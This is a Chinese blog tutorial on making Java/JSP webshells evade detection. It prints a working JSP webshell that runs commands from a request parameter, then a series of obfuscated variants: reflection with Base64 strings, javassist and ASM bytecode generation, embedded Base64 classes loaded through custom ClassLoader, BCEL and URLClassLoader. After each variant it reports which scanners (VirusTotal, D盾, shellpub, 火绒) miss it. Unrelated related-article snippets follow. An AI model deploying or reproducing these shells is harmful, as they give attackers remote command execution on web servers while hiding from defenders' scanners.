JAVA免杀学习与实验

1 认识Webshell

创建一个JSP文件:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" pageEncoding="utf-8" %><%String cmd = request.getParameter("cmd");Process process = Runtime.getRuntime().exec(cmd);InputStream is = process.getInputStream();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = null;while((r = bufferedReader.readLine())!=null){response.getWriter().println(r);}
%>

Tomcat运行 

 

图片

图片

这就是一个典型的webshell,但这个webshell的各种特征已经被安全检测平台记录,很容易识别出来。

【virustotal】

图片

【D盾】

图片

【shellpub】

图片

接下来进行免杀,免杀就是将这些被识别的特征进行替换,绕过,混淆和干扰。

2 基础免杀

2.1 替换敏感函数

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式检测。

(1)新的JSP文件

图片

(2)运行测试

图片

(3)安全检测

【virustotal-未识别】

图片

【D盾-未识别】

图片

【shellpub-识别】

图片

2.2 BeansExpression免杀

(1)JSP

图片

(2)运行测试

图片

(3)检测结果

【shellpub-未识别】

图片

【D盾-未识别】

图片

【火绒-识别】

图片

3 编码免杀

3.1 UNICODE编码

(1)JSP文件

编码网址:https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

图片

编码后内容会存在 \ua ,需要手动删除,负责无法正常运行

图片

图片

(2)检测结果

【shellpub-识别】

图片

【D盾-识别】

图片

【火绒-未识别】

图片

3.2 CDTAT

(1)JSPX特性​​​​​​​

jspx是JSP 2.0中的一项重要的功能提升,jspx其实就是以xml语法来书写jsp的文件。JSPX需要将jsp中不符合XML规范的tag进行替换,如:

<%@ include .. %>         <jsp:directive.include .. />

<%@ page .. %>             <jsp:directive.page .. />

<%= ..%>                        <jsp:expression> .. </jsp:expression>

<% ..%>                          <jsp:scriptlet> .. </jsp:scriptlet>

(2)JSP文件

图片

检测结果-均可检出

(3)CDTAT特性,<![CDATA[与]]>只要能配对就相互抵消,其他不变

图片

(4)检测结果

【shellpub-识别】

图片

【D盾-未识别】

图片

【火绒-未识别】

图片

(5)HTML

JSPX可以识别html编码

注意:注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行

编码网站:https://www.qqxiuzi.cn/bianma/zifushiti.php

图片

图片

图片

4 反射免杀

4.1 基础反射

(1)JSP文件

图片

(2)查杀结果

工具shellhubD盾火绒
结果识别识别识别

4.2 优化

反射中的明显特征如java.lang.Runtime,getRuntime,exec这些敏感内容,都是字符串形式输入,由此我们能操作的空间就很大了。

(1)BASE64加密

图片

检测结果

工具shellhubD盾火绒
结果识别识别未识别

(2)getDeclaredMethod替换getMethod

图片

检测结果

工具shellhubD盾
结果识别

识别

(3)经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀

图片

检测结果

工具shellhubD盾
结果识别

未识别

5 字节码免杀

5.1 生成字节码

(1)JAVAC生成字节码

图片

图片

编写程序加载class

图片

(2)javassist生成字节码​​​​​​​

import javassist.*;import java.io.IOException;
import java.util.Base64;public class test2 {public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {ClassPool classPool = ClassPool.getDefault();CtClass cc1 = classPool.makeClass("com.demo2.shell");CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);cons.setBody("{}");String runCode1="{}";cons.insertBefore((runCode1));cc1.addConstructor(cons);CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);cm2.setModifiers(Modifier.PUBLIC);cm2.setBody("{        Process process = Runtime.getRuntime().exec($1);\n" +"        java.io.InputStream is = process.getInputStream();\n" +"        java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n" +"        String r = \"\";\n" +"        String s = \"\";\n" +"        while((r = bufferedReader.readLine())!=null){\n" +"            s += r;\n" +"        }\n" +"        return s;}");cc1.addMethod(cm2);System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));}
}
(3)ASM生成字节码
package demo2;import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;public class test3 {public static void main(String[] args){ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);mw.visitVarInsn(ALOAD, 0);mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);mw.visitInsn(RETURN);mw.visitMaxs(1, 1);mw.visitEnd();MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs","(Ljava/lang/String;)Ljava/lang/Process;", null, null);mw2.visitCode();mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime","()Ljava/lang/Runtime;",false);mw2.visitVarInsn(ALOAD,1);mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);mw2.visitInsn(ARETURN);mw2.visitMaxs(10, 3);mw2.visitEnd();byte[] code = cw.toByteArray();System.out.println(new String(Base64.getEncoder().encode(code)));}

5.2 Classloader加载字节码

加载的类名要与class对应上。

(1)JSP文件

<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%ClassLoader loader = new ClassLoader() {@Overridepublic Class<?> loadClass(String name) throws ClassNotFoundException {if(name.contains("demo2.shell")){return findClass(name);}return super.loadClass(name);}@Overrideprotected Class<?> findClass(String name) throws ClassNotFoundException {try {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");PermissionCollection pc = new Permissions();pc.add(new AllPermission());ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);} catch (Exception e) {e.printStackTrace();}return super.findClass(name);}};
String cmd = request.getParameter("cmd");Class<?> shell = loader.loadClass("demo2.shell");Object object =  shell.newInstance();Method method = shell.getMethod("runs",String.class);Object o = method.invoke(object, cmd);InputStream is = new ByteArrayInputStream(o.toString().getBytes());BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));String r = "";String s = "";while((r = bufferedReader.readLine())!=null){s += r;}response.getWriter().println(s);%>

(2)运行

图片

(3)检测结果

工具shellhubD盾火绒
结果识别未识别未识别

5.3 BCEL字节码免杀

Apache Commons BCEL被包含在了JDK的原生库中,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API用于处理字节码,但是com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器由于安全问题,在JDK7以上版本被移除,导致BCEL字节码的利用变得很局限。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.sun.org.apache.xml.internal.security.utils.Base64" %>
<%@ page import="com.sun.org.apache.bcel.internal.classfile.Utility" %>
<%byte[] bytes = Base64.decode("yv66vgAAADQAQwoAEAAgCgAhACIKACEAIwoAJAAlBwAmBwAnCgAGACgKAAUAKQgAKgoABQArBwAsCgALACAKAAsALQoACwAuBwAvBwAwAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABHJ1bnMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADEHADIHADMHACYBAApFeGNlcHRpb25zBwA0AQAKU291cmNlRmlsZQEACnNoZWxsLmphdmEMABEAEgcANQwANgA3DAA4ADkHADIMADoAOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAARADwMABEAPQEAAAwAPgA/AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAEAAQQwAQgA/AQALZGVtbzIvc2hlbGwBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcAIQAPABAAAAAAAAIAAQARABIAAQATAAAAHQABAAEAAAAFKrcAAbEAAAABABQAAAAGAAEAAAAIAAkAFQAWAAIAEwAAAKEABQAGAAAAS7gAAiq2AANMK7YABE27AAVZuwAGWSy3AAe3AAhOEgk6BBIJOgUttgAKWToExgAcuwALWbcADBkFtgANGQS2AA22AA46Baf/4BkFsAAAAAIAFAAAACIACAAAAAsACAAMAA0ADQAdAA4AIQAPACUAEAAvABEASAATABcAAAAcAAL/ACUABgcAGAcAGQcAGgcAGwcAGAcAGAAAIgAcAAAABAABAB0AAQAeAAAAAgAf");String code = Utility.encode(bytes, true);String bcelCode = "$$BCEL$$" + code;com.sun.org.apache.bcel.internal.util.ClassLoader bcelClassLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();Class<?> shell = bcelClassLoader.loadClass(bcelCode);Object object = shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);String cmd = request.getParameter("cmd");response.getWriter().println(dm.invoke(object, cmd));
%>

检测结果

工具shellhubD盾火绒
结果识别未识别未识别

5.4 URLClassLoader加载​​​​​​​

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%String cmd = request.getParameter("cmd");URL url = new URL("http://127.0.0.1:8000/");URLClassLoader classLoader = new URLClassLoader(new URL[]{url});System.out.println("父类加载器:" + classLoader.getParent()); // 默认父类加载器是系统类加载器Class shell = classLoader.loadClass("demo2.shell");Object object =  shell.newInstance();Method dm = shell.getDeclaredMethod("runs",String.class);Object invoke = dm.invoke(object, cmd);response.getWriter().println(invoke);%>

服务端:

第一步:在一个文件夹中使用python开启一个http服务python -m http.server

图片

第二步:将编译好的class文件,根据全限定类名创建相应的文件夹,并导入class文件

图片

图片

检测结果

工具shellhubD盾火绒
结果未识别未识别未识别

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/48768.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

jmeter进行业务接口并发测试,但登录接口只执行一次

业务接口性能测试&#xff0c;往往都是需要登录&#xff0c;才能请求成功&#xff0c;通常只需要登录一次&#xff0c;再对业务接口多次并发测试。 在测试计划中&#xff0c;添加setUp线程组 把登录请求放入到该线程组中&#xff0c;设置HTTP信息头&#xff0c;JSON提取(提取登…

前端基础(ES6 模块化)

目录 前言 复习 ES6 模块化导出导入 解构赋值 导入js文件 export default 全局注册 局部注册 前言 前面学习了js&#xff0c;引入方式使用的是<script s"XXX.js">&#xff0c;今天来学习引入文件的其他方式&#xff0c;使用ES6 模块化编程&#xff0c;…

电路学习+硬件每日学习十个知识点(40)23.8.20 (希腊字母读音,阶跃信号和冲激信号的关系式,信号的波形变换,信号的基本运算,卷积积分,卷积和)

文章目录 1.信号具有时间特性和频率特性。2.模拟转数字&#xff0c;抽样、量化、编码3.阶跃信号和冲激信号4.信号的波形变换&#xff08;时移、折叠、尺度变换&#xff09;5.信号的基本运算&#xff08;加减、相乘、微分与积分、差分与累加&#xff09;5.1 相加减5.2 相乘5.3 微…

基础论文学习(1)——ViT

Vision Transformer&#xff08;ViT&#xff09; 模型架构是在 ICLR 2021 上作为会议论文发表的一篇研究论文中介绍的&#xff0c;题为“An Image is Worth 16*16 Words: Transformers for Image Recognition at Scale”。它由Neil Houlsby&#xff0c;Alexey Dosovitskiy和Goo…

springMVC之视图

文章目录 前言一、ThymeleafView二、转发视图三、重定向视图四、视图控制器view-controller五、补充总结 前言 SpringMVC中的视图是View接口&#xff0c;视图的作用渲染数据&#xff0c;将模型Model中的数据展示给用户。 SpringMVC视图的种类很多&#xff0c;默认有转发视图和…

vscode远程调试

安装ssh 在vscode扩展插件搜索remote-ssh安装 如果连接失败&#xff0c;出现 Resolver error: Error: XHR failedscode 报错&#xff0c;可以看这篇帖子vscode ssh: Resolver error: Error: XHR failedscode错误_阿伟跑呀的博客-CSDN博客 添加好后点击左上角的加号&#xff0…

【Python机器学习】实验16 卷积、下采样、经典卷积网络

文章目录 卷积、下采样、经典卷积网络1. 对图像进行卷积处理2. 池化3. VGGNET4. 采用预训练的Resnet实现猫狗识别 TensorFlow2.2基本应用5. 使用深度学习进行手写数字识别 卷积、下采样、经典卷积网络 1. 对图像进行卷积处理 import cv2 path data\instance\p67.jpg input_…

Linux 线程同步——条件变量

一、条件变量的概念 如果说互斥锁是用于同步线程对共享数据的访问的话&#xff0c;那么条件变量则是用于在线程之间同步共享数据的值。条件变量提供了一种线程间的通知机制&#xff1a;当某个共享数据达到某个值的时候&#xff0c;唤醒等待这个共享数据的线程。如下图所示&…

vue3中使用第三方插件mitt实现任意组件通讯

vue3中使用第三方插件mitt实现任意组件通讯 组件通讯是vue3组合式开发的核心之一&#xff0c;现在我在写代码时&#xff0c;一个组件的代码超过了200行&#xff0c;基本都会拆分组件。组件拆分后&#xff0c;组件之间的通讯就很重要&#xff0c;总结了一下&#xff0c;目前有这…

【SQL应知应会】索引(三)• MySQL版:聚簇索引与非聚簇索引;查看索引与删除索引;索引方法

欢迎来到爱书不爱输的程序猿的博客, 本博客致力于知识分享&#xff0c;与更多的人进行学习交流 本文收录于SQL应知应会专栏,本专栏主要用于记录对于数据库的一些学习&#xff0c;有基础也有进阶&#xff0c;有MySQL也有Oracle 索引 • MySQL版 前言一、索引1.简介2.索引类型之逻…

【李沐】3.2线性回归从0开始实现

%matplotlib inline import random import torch from d2l import torch as d2l1、生成数据集&#xff1a; 看最后的效果&#xff0c;用正态分布弄了一些噪音 上面这个具体实现可以看书&#xff0c;又想了想还是上代码把&#xff1a; 按照上面生成噪声&#xff0c;其中最后那…

利用大模型反馈故障的解决方案

背景 观测云有两个错误巡检脚本&#xff0c;RUM 错误巡检和 APM 错误巡检&#xff0c;代码均开源。 错误巡检的主要目的是发现新出现的错误消息(error stack)&#xff0c;原有的巡检在上报了相应的事件报告后&#xff0c;只是定位了问题&#xff0c;并没有给出合适的解决方案。…

Pandas基础知识

文章目录 Pandas的数据结构Series --- 由数据和索引组成&#xff08;索引&#xff08;index&#xff09;在左&#xff0c;数据&#xff08;values&#xff09;在右&#xff09;DataFrame --- 索引包括行索引和列索引&#xff0c;每列数据可以是不同的类型 Pandas的索引操作 ---…

SpringMVC拦截器学习笔记

SpringMVC拦截器 拦截器知识 拦截器(Interceptor)用于对URL请求进行前置/后置过滤 Interceptor与Filter用途相似但实现方式不同 Interceptor底层就是基于Spring AOP面向切面编程实现 拦截器开发流程 Maven添加依赖包servlet-api <dependency><groupId>javax.se…

nginx代理webSocket链接,webSocket频繁断开重连

一、场景 1、使用nginx代理webSocket链接&#xff0c;消息发送和接收都是正常的&#xff0c;但webSocket链接会频繁断开重连 2、如果不使用nginx代理则一切正常 3、程序没有做webSocket心跳处理 如下图 二、nginx代理配置 upstream cloud_ass {#ip_hash;server 192.168.1.…

2023年国赛数学建模思路 - 案例:随机森林

文章目录 1 什么是随机森林&#xff1f;2 随机深林构造流程3 随机森林的优缺点3.1 优点3.2 缺点 4 随机深林算法实现 建模资料 ## 0 赛题思路 &#xff08;赛题出来以后第一时间在CSDN分享&#xff09; https://blog.csdn.net/dc_sinor?typeblog 1 什么是随机森林&#xff…

从2023年世界机器人大会发现机器人新趋势

机器人零部件为何成2023年世界机器人大会关注热门&#xff1f; 在原先&#xff0c;机器人的三大核心零部件是控制系统中的控制器、驱动系统中的伺服电机和机械系统中的精密减速器。如今&#xff0c;机器人的主体框架结构已经落实&#xff0c;更多机器人已经开始深入到各类场景中…

Prompt本质解密及Evaluation实战(一)

一、基于evaluation的prompt使用解析 基于大模型的应用评估与传统应用程序的评估不太一样&#xff0c;特别是基于GPT系列或者生成式语言模型&#xff0c;因为模型生成的内容与传统意义上所说的内容或者标签不太一样。 以下是借用了ChatGPT官方的evaluation指南提出的对结果的具…

kali的一些使用和ms08-067、ms17-010漏洞

VM虚拟机-三种网络连接方式&#xff08;桥接、NAT、仅主机模式&#xff09; 虚拟机网络连接 一、Bridged&#xff08;桥接&#xff09; 二、NAT&#xff08;网络地址转换&#xff09; 三、Host-Only&#xff08;仅主机&#xff09; 在vmware软件中&#xff0c;选项栏的“编…

[计算机入门] 窗口操作

3.3 窗口操作 之前介绍过如何调整窗口大小。接下来介绍如何对窗口进行排布等操作。 当我们想要将某个窗口调整到整个屏幕的左边或者右边(占整个屏幕的一半)&#xff0c;可以在选中并激活窗口后&#xff0c;按Win ←/→ 进行调整。 此时&#xff0c;还可以通过Win↑/↓调整该…